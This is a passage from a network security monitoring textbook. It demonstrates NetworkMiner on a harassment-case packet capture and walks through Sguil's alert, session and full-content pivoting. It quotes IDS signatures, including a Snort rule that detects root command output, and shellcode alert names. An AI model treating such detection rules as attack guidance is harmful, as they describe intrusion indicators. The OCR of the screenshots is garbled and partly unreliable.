nitroba.pcap trace using the Windows version of NM, which is functionally
equivalent to NM on Linux.

Collecting and Organizing Traffic Details

Many analysts begin reviewing NM data in its Hosts tab, which lists all IP
addresses that it sees in a network trace, as you can see in Figure 7-25. The
IP address 192.168.15.5 is shown highlighted and expanded in the figure.
To expand an entry for an IP address, click the small box to the left of that
address.

8 NetworkMiner

File Tools Help
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: UDP: 520 -» 520 : 1 packets (52 Bytes), 0.00 % cleartext (0 of 0 Bytes)
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Received: 0 packets (0 Bytes). 0.00 % cleartext (0 of 0 Bytes)
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L. Qutgoing sessions: 0
£+ Host Detais
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UPnP field : MX -3
UPnP field : ST-upnp : roatdevice
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- UPnPfield : STum schemas-upnp-org device:MediaRenderer - 1
Wi 192.168.15.7
W1 192.168.15.8 -

i I ] C Reload Case Fles

Live Sniffing Buffer Usage: |

=]

Figure 7-25: Metadata from NM for IP address 192.168.15.5

As you can see, although NM couldn’t identify the operating system, it
does tell us that the MAC address is assigned to TRENDnet, a maker of net-
working equipment. The Universal Plug and Play (UPnP) queries involving
MediaRenderer indicate that this device may be an audiovisual platform.

The details and metadata for IP 192.168.15.4 are very different from
that of 192.168.15.5, as shown in Figure 7-26.
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File Tools Help
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Browser language (Google Analytics) 1: enus - ™

il I ' | | i

Live Sniffing Buffer Usage: | |

Figure 7-26: Metadata from NM for IP address 192.168.15.4

The hardware at this address appears to be an Apple device. In addition,
the Host Details section shows a variety of web browser user-agent strings,
which tells us that this system is much more active than 192.168.15.5, as
shown by the number of outgoing sessions (1658).

At the bottom of the Host Details section, the screen resolutions observed
during the traffic capture that NM obtained from Google Analytics are listed,
as shown in Figure 7-27.

HTTF header: X-Apple-Validation 99 : 1D3A762C-4D45E757E32DEC27090C5F 2565642383
HTTF header: XDsid 1: 46103215

HTTF header: X-Dsid 2 : 10963092

HTTP header: X-Prototype-Version 1: 1.5.0

HTTP header: X-Requested-With 1 : XMLHitpRequest

HTTP header: X-SVN-Rev 1: 111557
Screen resolution (Google Anay 1280x800
Screen resolution (Google Analytics) 2 - 16801050
Screen resolution (Google Analytics) 3 - 1050778

Figure 7-27: NM lists three screen resolutions for IP address 192.168.15.4.

Rendering Content

In addition to collecting and organizing details about hosts seen on the wire,
NM extracts content and renders it for easy viewing. Figure 7-28 shows an
example involving email.
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The Messages tab in Figure 7-28 shows an email sent from 192.168.15.4,
the Apple computer that we reviewed in Figure 7-26. A sender with the email
address the_whole_world_is_watching@nitroba.org sent an unpleasant email
message to lilytuckrige@yahoo.com. Now we understand why this is a harass-
ment case.

File Tools Help

— Select a network adapterin the list — B EES
Keywords | Cleartext | Anomalies
Hosts (747) | Frames (3500c) | Files (4391) | Images (2454) | Messages (2) | Credentials (515) | Sessions 2111) | DNS (1870) [ P (44440) | Filename
Framenr.  Source hast Destination host ~ From To Subje| | Attrbute Value iroba ...
192.168.15.4 69.80.225.91 [w... liytuckri... Yo email liytuckrige @yahoo .com
84366 192.168.154  69.25.94.22 [wil... liytuckri... youc|| sender the_whole_world_is_watching@nitroba.on
subject Your class stinks
message Why do you persist in teaching a boring cli
security_code xkpmikb
submit SEND!
PHPSESSID T62adbal3236142ccec3056a20aafa
< i | 3
Why do you persist in teaching a boring class? -
We dont like it
We dont like you.

Figure 7-28: Harassing email extracted by NM

Like Xplico, NM extracts and displays all captured images, along with
various other forms of content. It can be a bit easier to use than Xplico
because you scroll through output, rather than click from page to page as
with Xplico’s web server. NM can simplify the process of extracting content
in bulk from a network trace.

Conclusion

This chapter described three graphical packet analysis tools: Wireshark,
Xplico, and NM. Wireshark is undoubtedly the most popular, with support
for thousands of protocols and an ever-expanding set of capabilities. Lesser-
known projects like Xplico and NM are more forensics focused, providing
parsers to extract content automatically and giving analysts an overview of
network-derived artifacts.

Choosing which tool to use depends on the needs of the investiga-
tion. When you require deep understanding of a protocol, I recommend
Wireshark. When you want rapid overviews of content exchanged between
computers, Xplico or NM may be more appropriate.

Each of these tools offers different capabilities and exposes various
forms of NSM data. While these tools are powerful additions to the analyst’s
arsenal, they don’t function as NSM consoles. Chapter 8 concludes the data
presentation tool discussion by looking at the NSM consoles Sguil, Squert,
Snorby, and ELSA.
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NSM CONSOLES

Chapters 6 and 7 discussed tools for packet
analysis. This chapter covers NSM con-
soles, which are tools built specifically for
NSM. Applications like Tcpdump, Tshark,
Wireshark, Xplico, and NetworkMiner process live

traffic or traffic saved in pcap format. When reading
this chapter, you may recall features of those tools that share certain simi-
larities with the software discussed here. Some of them generate session or
extracted content data, for example, or present multiple forms of data in

a single interface. The difference between the tools covered in Chapters 6
and 7 and those presented in this chapter is that the NSM consoles help
analysts drive a decision-making process, rather than a troubleshooting or
forensic process.

Furthermore, NSM consoles tend not to work on raw packets, whether
in the form of live traffic or traffic saved in pcap format. All of the tools in
Chapters 6 and 7 contained features that let analysts tell the software to
sniff traffic from the wire or open a saved trace. NSM consoles, in contrast,
offer a framework and interface to manipulate and interact with multiple
NSM datatypes, but generally not via processing a saved trace. This is a
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limitation in some respects, because it restricts their use to live operational
scenarios. This is not necessarily true of some commercial tools, but the
focus of this book is open source software packaged with the free SO distri-
bution: Sguil, Squert, Snorby, and ELSA.

An NSM-centric Look at Network Traffic

The tools we’ve explored so far generate one or more forms of NSM data.
Here’s a brief recap of the NSM datatypes (introduced in Chapter 1):

Chapter 8

Full content data Network traffic stored to disk in pcap format.

Extracted content Information carved from network traffic, such as
files or web pages.

Session data A high-level summary of network conversations, focusing
on who talked to whom, at what time, plus how much information was
exchanged.

Transaction data A more granular form of session data, exposing
details of protocols with request-reply characteristics like HTTP, FTP,
and SMTP.

Statistical data Descriptive information that characterizes network
activity, like counts of various aspects of conversations.

Metadata “Data about data,” or an integration of external information
like geography or ownership, applied to network information.

Alert data Reflects whether traffic triggered some sort of notification.
It’s a judgment made by a tool, typically an IDS, about some characteris-
tic of network traffic.

That’s a lot of data to manage. NSM isn’t about collecting evidence for

the sake of having it, though. CIRTs collect NSM data because it enables
them to achieve a specific business objective. The outcome of an NSM-
centric look at network traffic is a decision: Is the event in question benign,
suspicious, or malicious? The answer to that question determines what a
CIRT analyst does next. Mature CIRTs answer these questions to meet busi-
ness goals, such as conducting detection and response in one hour or less.

Many forms of network data, and tools to inspect that data, help ana-

lysts meet business security goals. Tools built specifically for NSM, however,
assist in three specific ways:

They make it easy for analysts to review multiple forms of NSM data,
often within a single interface.

They enable analysts to “pivot,” or transition, from one form of NSM
data to another.

They capture the outcome of the analyst’s decision-making process.
NSM-specific tools make a workflow possible, usually coordinating the
actions of multiple analysts to complete a shared objective.
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Sguil, Squert, Snorby, and ELSA are four open source tools written by
NSM practitioners, for NSM practitioners. These software authors realized
that other tools for analyzing network-centric data were helpful but not
sufficient for conducting NSM as a continuous business process. Each tool
offers a way to integrate several types of NSM data, pivoting among the
information, and, in most cases, classifying the outcome of an investigation.

The NSM consoles packaged with SO work with several overlapping sets
of NSM data. Whereas the packet analysis tools discussed in Chapters 6 and 7
tend to be producers of NSM data, the consoles in this chapter are more like
consumers of NSM data. Similar to the tools profiled in Chapters 6 and 7,
the consoles in this chapter are available in SO by default, except for ELSA.
(The setup wizard asks if you want to run ELSA when installing SO.) This
chapter highlights the key features of each tool to help you decide which
best suits the needs of your NSM operation.

Using Sguil

NOTE

Sguil (http://www.sguil.net/) is an open source NSM, first written as a
proprietary application, but then recoded and released as open source
in early 2003.

Bamm Visscher codes Sguil under the Qt Public License (QPL, http://sourceforge
.net/projects/sguil/).

Sguil is one of the main applications packaged with SO. Its components
collect, store, and present data that other SO tools use, and certain applica-
tions rely on Sguil’s authentication database. Even if you decide not to use
the Sguil console to review NSM data, you’ll benefit from its collection and
management of NSM data.

Running Sguil

Sguil is a client/server application written in Tcl/Tk. Its server coordinates
with Sguil agents deployed on sensors to collect NSM data. The Sguil client
is the analyst’s window into Sguil’s data. You can start the Sguil console
via the Sguil icon on the SO desktop, or you can install the Sguil client on
another computer.

The tools we’ve discussed so far work by analyzing live or saved network
traffic; they’re meant for use in live operations or when conducting review
on historical activity. In contrast, Sguil is a solely a live tool. You can’t use
Sguil to “open” a saved network trace; you can interact with Sguil only as its
various components and dependencies collect and generate traffic gathered
from a live network interface. As an example, we’ll use the Sguil client to
interact with a sample server and sensor.

NSM Consoles 161
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If you've already installed SO, you should be able to follow along with the example.

Chapter 8

However, the data you see will not match the data shown because yow'll be watching
new, live data, although the analysis process is the same.

Before running Sguil, make sure that all of its underlying services are
running on the sensor with the service command, as shown in Listing 8-1.
You should see 0K in each field.

$ sudo service nsm status
Status: securityonion

* sguil server [ oK ]
Status: HIDS

* ossec_agent (sguil) [ oK ]
Status: Bro
Name Type Host Status Pid Peers Started
bro standalone localhost running 2433 0 24 Feb 18:27:19

Status: sademo-ethl

* netsniff-ng (full packet data) [ ok ]
* pcap_agent (sguil) [ oK ]
* snort_agent-1 (sguil) [ oK ]
* snort-1 (alert data) [ oK ]
* barnyard2-1 (spooler, unified2 format) [ oK ]
* prads (sessions/assets) [ oK ]
* sancp_agent (sguil) [ oK ]
* pads_agent (sguil) [ oK ]
* argus [ oK ]
* http_agent (sguil) [ oK ]

Listing 8-1: Output of the sudo service nsm status command

If one or more components are not running, you can try restarting all
of the software using the following command:

$ sudo service nsm restart

If one or more components are still not running, you may need to rerun
the SO setup script or consult the SO mailing list for additional assistance.

Once you've confirmed that all services are running, connect to the Sguil
console by clicking the Sguil icon on the SO desktop. In this example, the
Sguil client will connect to the Sguil server on localhost. (You could connect
to the server from another computer running a Sguil client, but it’s easier to
use the SO platform.)

1. Connect to your instance of an SO server, and enter the username and
password you selected for Sguil during the SO installation process, as
shown in Figure 8-1, and then click OK.

2. The Sguil client asks you to select network(s) to monitor. Click Select
All, and then click Start Sguil.
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5GUIL-0.8.0

Asg

Sguild Host: [localhost

Sguild Port: (7734

Username: |sademo

Password:

BT

Figure 8-1: logging in to Sguil

The Sguil console appears. H
then check the Reverse DNS,
The Sguil console will display

ighlight any row in the top section, and
Show Packet Data, and Show Rule boxes.
data like that shown in Figure 8-2.

SGUIL-0.8.0 - Connected To localhost
File Query Reports  Sound: OF ServerName: localhost UserName: sademo UserD: 2

- 4+ x

2013.07-24 18:36:8 GMT)|

4 192.168.2.103 93.184.216.139 443 'ADS New Asset - unkna.
4 192.168.2.108 G8.129.184.21 443 PADS New Assaet - ssl
1 4.3 201302101053 196227 L2 I A L | 53 17 PADS New Asset - unkna...
5 44 20130210 11:1:53  192.168.2.127 60239 1721621 53 17 PADS Changed Asset - d...
Z 4.5 2013021011004 196227 B2 Z0ZNZI9H05 2 L] FADS New Asset - unkna...
49 11 2013021011:11:21 . 0.0.0.0 o000 o [OSSEC] Integrity checks....
El 4.6 2013021011103 T9LI6EZ108 49305 173.194.75.003 W L] FADS New Asset - hitp ...
5 47 20130210 111231 192.168.2.127 123 204.2.134.162 123 17 PADS New Asset -unkno...
13 EA ] 2013021011037 0.0.0.0 0.000 L ET POLICY Dropbox.co...
3 48 20130210 11:1306  192.168.2.104 60236 74.125.228.74 80 L] PADS New Asset - unkno...
- E] 4.9 201302011F37 T9LI6EZ104 G237 MI25.228.38 W L] PADS New Asset - hitp ...
- 1 4.10 2013-02-1011:14:16  192.168.2.127 48289  174.36.207.186 80 L] PADS New Asset - hitp ..
- 2 E¥] FLEYCRURE RPN EER TR P A2503 TR s0 & ETPOLICY curl UserAge..
. 2 33 2013-02-1011:1457  217.160.51.31 B0 192.168.2.127 42523 6 GPLATTACK RESPONSE ... v
o1
v show Packet Data ¥ Show Rule
n

' Reverse DNS [~ Enable External DNS

alert ip any any = any any (msg-"GPL ATTACK RESPONSE id check returned root™; =
content:"uid -0 28| roat |29]7 Lest_patternzonky; chestypebad-unknown; sid:21004058; revg) |

Sre P 15131 E Source IF : Dest IF Wﬁl.m len : 11} mem IBll

519 couk 2171605131 1921682127 4 5 [0 299 274192 0 251 173
Dstip:  192.168.2.127 UAPRSF
Dt Name: Link Spurce Dest RRRCSE Y I

o Port Port 1OGKHTNN  Seqd Ack ¥ Offset Res Window Urp kSl

Whois Quaryr [ None & SecIP € Dsti® | (80 |a2sa3). | | x[x|. | | 4123083207 1327aeanmals 0 se o &2
I . . &)
[% This is the RIPE Database query service. g 4R 54 54 50 2F 31 2F 31 20 32 30 30 20 4F 4R 0D HTTP/1.1 200 OK |~
:'h""h"’“‘ arg in RPSL format. A 44 61 74 65 IA 20 53 75 BE ZC 20 31 30 20 &6 .
| — . 65 62 20 32 30 31 33 20 31 31 3A 31 34 3A 35 37 .Date: Sun, 10
% The RIPE na’“ba:f‘f‘“h"“ to Terms and Condiloms. 20 47 4D 54 OD OA 53 65 72 76 65 72 3A 20 41 70F
|paf » Search Packet Payload | ™ Hex = Text | NoCase

Figure 8-2: The Sguil console displaying data

If you see information similar to that in Figure 8-2, your Sguil installa-

tion is working as expected.
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Chapter 8

Squil’s Six Key Functions
Sguil enables six key functions helpful to NSM analysts:

e Sguil performs simple aggregation of similar alert data records.

e Sguil makes certain types of metadata, and related data, readily
available.

e Sguil allows queries and review of alert data.
e  Sguil permits queries and review of session data.

e Sguil provides a right-click menu that lets you pivot, or move from
either of those two categories of data to full content data, rendered as
text in a transcript, in a protocol analyzer like Wireshark, or in a network
forensic tool like NM.

e Sguil exposes features so analysts can count and classify events, thereby
enabling escalation and other incident response decisions.

The following sections explain how to use these features.

Simple Aggregation

A powerful but possibly underappreciated Sguil feature is its ability to aggre-
gate similar records into single lines of output in the console. Figure 8-2
shows this feature in action. The CNT column is Sguil’s mechanism to dis-
play record counts. The top row, for example, shows how Sguil aggregated
four similar records into a single entry in the console.

This simple act of grouping similar records into single lines reduces the
analyst’s workload. The review process can focus on unique records rather
than repetitive entries that differ only by timestamp. Because Sguil is a
live, or “real-time,” tool, it processes and aggregates entries as the console
receives them. Entries in the CNT column may increase as new but repeti-
tive events reach the sensor.

Metadata and Related Data

Sguil doesn’t expose a great deal of metadata, but it makes three important
types easily accessible. In Figure 8-2, you can see two forms of metadata in
the lower-left corner of the console. The entries labeled Src IP, Src Name,
Dst IP, and Dst Name represent the IP addresses and hostnames (if available
via DNS) for the source and destination IP addresses of any highlighted
record. Under this IP and hostname information, Sguil displays WHOIS
data for either the source or destination IP address. Analysts can choose
which to display via a radio button.

Sguil shows one other form of metadata and one form of related data
in the lower-right corner of the console. When showing alert data gener-
ated by an IDS like Snort or Suricata (discussed in the next section), Sguil
displays the rule that triggered the generation of the alert data. Under the
rule, Sguil shows the packet that triggered the creation of the alert data.
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This metadata and related data give analysts more context about the
systems involved in network traffic. They can also choose to disable the dis-
play of this information.

Now let’s take a closer look at the alert data to understand what it
means in the context of the Sguil console.

Querying Alert Data in Squil

When you start Sguil, alert data is the first form of NSM evidence you will see.

Sguil calls alerts event data. The database supporting Sguil stores the alert

data in an event table, so you’ll see references to that term, rather than alert.
Sguil incorporates four forms of alert data:

e Network IDS engines like Snort and Suricata generate alert data when
traffic they observe triggers one of their rules. These rules are indica-
tors of compromises that may require human analysis to determine if
they represent benign, suspicious, or malicious activity. Alert data from
the Snort or Suricata IDSs bear entries in the Event Messages column
that begin with text like ET (for Emerging Threats, an IDS rule source)
or GPL (another rule source).

e Host-based IDS engines like OSSEC (http://www.ossec.net/), if enabled,
provide similar warnings based on analyzing information about indi-
vidual computers. Using OSSEC requires installing an OSSEC software
agent on servers. By default, SO runs OSSEC on its own operating sys-
tem. Alerts from OSSEC have event messages beginning with [OSSEC].
(For more information on OSSEC, see the online manual at Attp://
www.ossec.net/doc/.)

e Sguil also integrates data in the event table from some sources that are
not IDS engines. For example, Sguil collects network profiling data
created by the Passive Real-time Asset Detection System (PRADS) tool
(https://github.com/gamelinux/prads/). Alert data from PRADS begins
with PADS. PADS is a reference to the Passive Asset Detection System,
the precursor to PRADS.

e  Sguil stores HTTP transaction data generated by Bro. This data records
Uniform Resource Locators (URLs) observed by Bro, such as www
.testmyids.com. Sguil displays these messages by prepending them with
the label URL. Because HTTP activity is so common on networks, URL
data is not displayed by default, unlike data from Snort/Suricata,
OSSEC, and PRADS.

Data from Snort/Suricata, OSSEC, and PRADS appear by default in
Figure 8-2, in the top half of the Sguil console. If you want to query for
HTTP URL data recorded by Bro, you must ask Sguil manually. As an
example, we’ll create a query for HTTP data. Sguil refers to this as an
evenl query.
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To run an event query, choose Query » Query Event Table from the
Sguil menu. In the Query Builder window, modify the default text as shown
in Listing 8-2. Note the use of single quote characters (to the left of the
ENTER key on the US keyboard).

WHERE event.timestamp > '2014-02-10 11:13:00' AND event.timestamp < '2013-02-
10 11:16:00" AND event.signature LIKE 'URL%'

Listing 8-2: Running an event query for signatures beginning with URL%

Figure 8-3 shows this query in the Sguil console.

b Query Builder - + X
Select Query Type
* Events " Sancp  PADS
o Edit Where Clause 1 = |

WHERE event.timestamp > '2013-02-10 11:13:00" AND
event.timestamp < '2013-02-10 11:16:00" AND event.signature |:|
LIKE ‘URL%"

Add Union

IP Address LIMIT ,—1000

Meta Categories Items

AL

Figure 8-3: Sguil event query for 'URL%'

This query looks for events in the Sguil database with timestamps
between 11:13:00 and 11:16:00 UTC on February 10, 2013, where the signa-
ture or message begins with the string URL. Figure 8-4 shows the results of
this query on our demo system.

\a SGUIL-0.8.0 - Connected To localhost e
File Query Reports Sound: Off ServerName: localhost UserMame: sadema UserlD: 2 2013-02-24 19:22:28 GMT|
[RealTire Events | Escalated Everts. Event Query 1 |
Close | SELECT event.status, event.priority, sensor.h , event.ti as datetime, event.sid, event.cid, event.signature, Submit
INET_NTOA(event.src_ip), INET_NTOA(event.dst_ip), event.ip_proto, event.src_port, event.dst_port, event.signature_gen, event.signature_id, J—
Export | cvent si e_rev FROM event IGNORE INDEX (event_p_key, sid_time) INNER JOIN sensor ON event.sid=sensor.sid WHERE Edit
S C Date/Tir DstIP Pr
NA 1 e 6.17 2013-02-1011:13:06  192.168.2.104 74.125.228.74 80 6 URL www-ig-opensocial.g...
NA 1 sademo-.. 6.18 2013-02-1011:13:37  192.168.2.104 74.125.228.38 80 6 URL safebrowsing.clients....
NA 1 sademo-... 6.19 2013-02-1011:13:37  192.168.2.104 74.125.228.35 80 6 URL safebrowsing-cache....
NA 1 sademeo-... 6.20 2013-02-1011:13:37  192.168.2.104. 74.125.228.35 80 6 URL safebrowsing-cache....
NA 1 sademo-... 6.23 2013-02-1011:13:38  192.168.2.104 74.125.228.35 80 6 URL safebrowsing-cache....
NA 1 sademo-. 6.22 2013-02-1011:13:38  192.168.2.104 74.125.228.35 80 6 URL safebrowsing-cache....
NA 1 sademo-... 6.21 2013-02-1011:13:38  192.168.2.104 74.125.228.35 80 6 URL safebrowsing-cache....
NA 1 sademo-... 6.24 2013-02-1011:14:16  192.168.2.127 174.36.207.186 80 6 URL geolite.maxmind.com
NA 1 sademo-.. 6.25 2013-02-1011:14:57  192.168.2.127 42523 217.160.51.31 80 6 URL www.testmyids.com
NA 1 sademo-.. 6.26 2013-02-1011:15:00  192.168.2.108 49345 205.251.242.129 80 6 URL s3.amazonaws.com
oy
o T |v Display Detail
1P Resolution 1 g 1l ‘System Ms - R, -
L o — = | [Method: GET Host: www.testmyids.com URI: 7 Referrer: - UA: curl/7.22.0 (x86_64-pc-linux-gnu)
™ Reverse DNS W Enable External DNS libcurl/7.22.0 OpensSL/1.0.1 zlib/1.2.3.4 libidn/1.23 librtmp/2.3 Trans Depth: 1 Request Body
[Src1p: ‘ ‘ Length: 0 Respense Body Length: 39 Status Code: 200 Status Message: OK Info Code: - Info
; 8 - Fil 1 - Tags: (empty) L - : - Proxied: - MIME Type: text/plain
SrcName: | | | IMDS: - Extraction File: - UID: LASBSNQPPei

Figure 8-4: Querying Sguil for URL events
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NOTE

These URL events are drawn from the Bro application’s http.log file,
which contains a summary of observed HTTP traffic. A Sguil agent read
http.log and inserted the results into the MySQL database.

Notice that certain details—such as the timestamp, source and destina-
tion IP addresses and ports, and URL—are available as individual rows.
Highlight any row and check the Display Detail box to see the rest of the
information associated with this event. The text after the UID: element of
the detailed display is a unique identifier created by Bro for this session.
You could use this UID to query Bro logs later.

Querying Session Data in Squil

The ability to query for NSM session data is another one of Sguil’s key func-
tions. Sguil refers to session data as SANCP data. SANCP stands for Security
Analyst Network Connection Profiler, which is a tool written by John Curry
packaged with earlier versions of Sguil to generate session data. In SO,
Doug Burks replaced SANCP with PRADS in late 2012.

In addition to generating session data, PRADS performs network device
profiling and tracks the systems it sees. Despite the new code, Sguil’s data-
base maintains a sancp table for storing session data. This form of NSM data
keeps thorough records of every conversation seen by the sensor.

Unlike alert data, session data is always written to disk, regardless of
whether any system considers it normal or troublesome. The same neutral
approach also applies to full content data, extracted content data, transac-
tion data, statistical data, and metadata.

Collecting and generating data beyond IDS alerts is a key aspect of network security
monitoring. The availability of other forms of data, stored regardless of any relation-
ship to an IDS alert, is a core differentiator between NSM-centric operations and
alert-centric operations. With NSM, the alert is only the beginning of the analysis
process, not the end. If your network monitoring model relies on IDS alerts, or IDS
alerts triggering packet capture, you're not conducting NSM. Why not convert today?

Session data isn’t displayed by default in the Sguil console. Analysts can
query for session data using a process similar to running an event query, as
described in the previous section. The difference involves querying the sancp
table instead of the event table. More common, however, is the process of
pivoting from alert data to session data. With pivoting, you start with one form
of data, identify an item of interest, and use that item as the jumping-off
point for a new query.

To demonstrate how to query for session data using a pivot methodology,
we’ll begin with the results of the URL-based alert data query. Suppose that
we want to know more about activity involving the destination IP address
for one of the URL records. Rather than run a new search from the Query
menu, we’ll pivot on the highlighted message. Right-click the destination IP
address of the highlighted event, and then select Advanced Query » Query
Sancp Table » Query DstIP/1 Hour, as shown in Figure 8-5.
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= SGUIL-0.8.0 - Connected To localhost 0
File Query Reports Sound: Off ServerName: localhost UserMame: sademo UserID: 2 2013-02-24 19:30:20 GMT)|
Mdﬁna Emms] Eahtedm\ Event Query 1 W

Close SELECT event.status, event.priority, sensor.hostname, event.timestamp as datetime, event.sid, event.cid, event.signature, J Submit ]

IINET_NTOA(event.src_ip), INET_NTOA(event.dst_ip), event.ip_proto, event.src_port, event.dst_port, event.signature_gen, event.signature_id,

Export |evem.signature_reu FROM event IGNORE TNDEX (event_p_key, sid_time) INNER JOIN sensor ON event.sid=sensor.sid WHERE Edit

) Alert D ime

NA 1 sademo-... 6.17 2013-02-1011:13:06  192.168.2.104 60236  74.125.228.74 80 6 URL www-ig-opensocial.g...

NA 1 sademo-... 6.18 2013-02-10 11:13:37  192.168.2.104 60237 74.125.228.38 80 URL safebrowsing.clients....

NA 1 sademo-... 6.19 2013-02-1011:13:37  192.168.2.104 60238  74.125.228.35 80 6 URL safebrowsing-cache....

NA 1 sademo-... 6.20 2013-02-1011:13:37  192.168.2.104 60238  74.125.228.35 80 6 URL safebrowsing-cache....

NA 1 sademo-... 6.23 2013-02-10 11:13:38  192.168.2.104 60238 74.125.228.35 80 6 URL safebrowsing-cache....

NA 1 sademo-... 6.22 2013-02-1011:13:38  192.168.2.104 60238 74.125.228.35 80 6 URL safebrowsing-cache....

NA 1 sademo-... 6.21 2013-02-1011:13:38  192.168.2.104 60238  74.125.228.35 80 6 URL safebrowsing-cache....

NA 1 sademo-... 6.24 2013-02-10 11:14:16  192.168.2.127 48289 174.36.207.186 80 6 URL geolite.maxmind.com

NA 1 sademo-... 6.25 2013-02-10 11:14:57  192.168.2.127 42523 217.160.51.31 80 6 URL www.testmyids.com

NA 1 sademo-... 6.26 2013-02-1011:15:00  192.168.2.108 49345  Quick Query [d 6 URL s3.amazonaws.com

Query Event Table
Dshield IP Lookup

= Query SrcIP
¥ Display De Query PADSTable  ® query srctp/1 Hour
Method: GET Host: www.testmyids.com URI: / Referrer: - UA: curl/7.22.0 (x86_6 Query DstIP

1P Resolution | Agent Status | Snort Statistics| Syster Ms,

[~ Reverse DNS [+ Enable External DNS libcurl/7.22.0 OpenssL/1.0.1 zlib/1.2.3.4 libidn/1.23 librtmp/2.3 Trans Depth: 1 HigH
Length: 0 Response Body Length: 39 Status Code: 200 Status Message: OK Info
SrcIP:
) ge: - Fil : - Tags: (empty) Username: - Password: - Proxied: - MIME 1 Queny 3rcTo Dst
SR MDS: - Extraction File: - UID: LASBSNQPPei Query SrcTo Dst/1 Hour

Figure 8-5: Pivoting from a message to SANCP data

Sguil displays the Query Builder window with prepopulated syntax that
looks for session records 30 minutes prior and 30 minutes following the
highlighted record, as shown in Figure 8-6. The timestamp on the high-
lighted event is 11:14:57, so the query starts at 10:44:57 and ends at 11:44:57
on February 10, 2013.

1

e
X

Query Builder -
Select Query Type
T Events * Sancp  PADS
Edit Where Clause 1

WHERE sancp.start_time > '2013-02-10 10:44:57' AND
sancp.start_time < '2013-02-10 11:44:57' AND sancp.src_ip

OR | = INET_ATON('217.160.51.31") =
Delete

not | Edit Where Clause 2

WHERE sancp.start_time > '2013-02-10 10:44:57' AND
LIKE sancp.start_time < '2013-02-10 11:44:57' AND sancp.dst_ip
= INET_ATON('217.160.51.31")

IP Address R

LIMIT 1000

AND

|v

[iFETE

Figure 8-6: Query for SANCP records in the Query Builder window

As you can see in Figure 8-7, this query returns only one session data
record. The PRADS application created this session record. A Sguil software
agent running on the sensor read the PRADS output and loaded the session
record into the MySQL database on the SO server. This is an example of
how an NSM console like Sguil integrates data from multiple systems and
platforms.
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5 SGUIL-0.8.0 - Connected To localhost - + X
File Query Reports Sound: Off ServerName: localhost UserName: sademo UserID: 2 2013-02-24 19:37:05 GMT)|

R
| Sancp Query 1 ]

me SrcIP SP
2013-02-10 11:14:57  192.168.2.127 42523

217.160.51.31 80

[ S T v Display Sai s
IP Resolution \l T 1 no isplay Sancp Detail

[~ Reverse DNS v Enable External DNS RR::::&: RR::E:a:

SrcIP: 21 GKHTNN et 21 GKHTNN
! Summary

e ame: o]

Figure 8-7: Session data displayed in Sguil

Select the Display Sancp Details option to see a summary of the TCP
flags counted during this session. The TCP protocol uses flags like SYN,
ACK, FIN, ACK, RST, URG, and PSH to coordinate the transfer of data during a ses-
sion. PRADS keeps track of the total set of flags seen when two computers
exchange data using TCP. Sguil can display those flags in the console to
help analysts recognize patterns of communication. For example, the pat-
tern ACK PSH SYN FIN shown in Figure 8-7 reflects all of the flags that would
be used at some point during a normal TCP session.

The information in this record is similar to what we saw generated
by Argus in Chapter 6, including timestamps, source and destination IP
addresses and ports, protocol (6 here for TCP), and source and destination
packet and byte counts. These elements are the core features of session
data: who talked to whom, when, and how much data they exchanged.

Just before this book went to press, the PRADS developers changed their code and
the way they count bytes of data sent by source and destination computers in session
records. PRADS, along with Bro and NM, count bytes in the IP header, the TCP or
UDP header, and any application data when reporting bytes of data sent or received
in a session. In contrast, Argus and Wireshark count bytes in the Ethernet header, the
IP header, the TCP or UDP header, and any application data bytes. The decision to
exclude bytes from the Ethernet header means PRADS, Bro, and NM will report fewer
bytes compared to Argus and Wireshark results. These choices are arbitrary and harm-
less, but important to understand when comparing data from these different tools.

Pivoting to Full Content Data

Just as we pivoted from an event to session data, Sguil allows us to pivot from
alert or session data to full content data. To see how this works, click the
RealTime Events tab and highlight an interesting alert. This example uses
an alert about an outdated version of Java. An IDS like Snort or Suricata
generated an ET POLICY Vulnerable Java Version alert when the detection
engine noticed traffic from a computer running an old version of Java.
The IDS wrote the alert to disk, and then a Sguil agent read the data and
inserted it into the MySQL database. Using Sguil, we can learn more about
this event by right-clicking the Alert ID field and selecting Transcript, as
shown in Figure 8-8.
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File Query Reports Sound: Off ServerName: localhost UserName: sademo UserlD: 2 2013-02-24 19:51:42 GMT|

RealTime E\mnh]wm] Event Query 1 T quiqlluy‘f W

SGUIL-0.8.0 - Connected To localhost A

F

2013-02-23 02:20:59 23.67.244.73 80 192.168.2.104 61105 6 ET POLICY PE EXE or DLL Windo...
- 1 2013-02-2303:16:22  174.35.22.59 80 192.168.2.108 57427 6 GPL SHELLCODE x86 NOOP
- 24 2013-02-2303:17:04  23.13.164.211 80 192.168.2.108 57387 6 ET SHELLCODE Common 0a0a0...
- 1 2013-02-2303:26:21  23.67.53.57 80 192.168.2.104 64691 6 GPL SHELLCODE x86 inc ebx NO...
- 1 2013-02-2304:21:04  192.168.2.108 58379 137.254.16.78 80 6 ET POLICY Vulnerable Java Versi...
- 1 sademo. Event History 30:40 192.168.2.108 58720 192.73.232.1... 22022 6 PADS Changed Asset - ssh PuTT...
- 1 sademo 00:02  74.125.228.100 80 192.168.2.108 59468 6 GPL SHELLCODE x86 incebx NO...
- 1 sademo... Transaipt (force’new) 14:29 192.168.2.118 50840 74.125.228.15 80 6 PADS New Asset - http Mozilla/s...
- 1 sademo... Wireshark 01:04 74.125.2289 80 192.168.2.113 49429 6 GPL SHELLCODE x86 inc ebx NO... [/
- 36 sademo... Wireshark (force new) 36:35 174.133.123.130 80 192.168.2.113 50545 6 ET POLICY PE EXE or DLL Windo... |
NetworkMiner H
i [v Show Packet Data v Show Rule
1P Resolution ] A 'I! NetworkMiner (force new) ; =
— — lalert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"ET POLICY Vulnerable Java Version il
[” Reverse DNS W Enable External DNS 1.7.% Detected"; flow:established to_server; content:" Java/1.7.0_"; http_header; content:I"15%
SrcIP: within:2; http_header; flowbits:set,ET. http.javaclient.vulnerable; threshold: type limit, count 2, seconds | ;
Srename Source IP DestIP Ver HL "IOS len ID Flags Ioﬂset TTL ChkSum
(192.168.2.108  [137.254.1678 |4 |5 0 [384 19762 |0 127 20529
DstIP:
UAPRSF
Bt B Source Dest RRRCS S Y I
Whois Query: “* Mone  SrcIP " DstIP Port Port TOGKHTNN Seq# Ack#  Offset Res Window Urp ChkSum
Al 58379 8o | | [ [x[x|. . | [3821739887 119232176 5 0 430 fo lsora

2E 6A 6E 6C 70 20 48 54 54 50 2F 31 2E 31 0D e.jnlp HTTP/1.1.
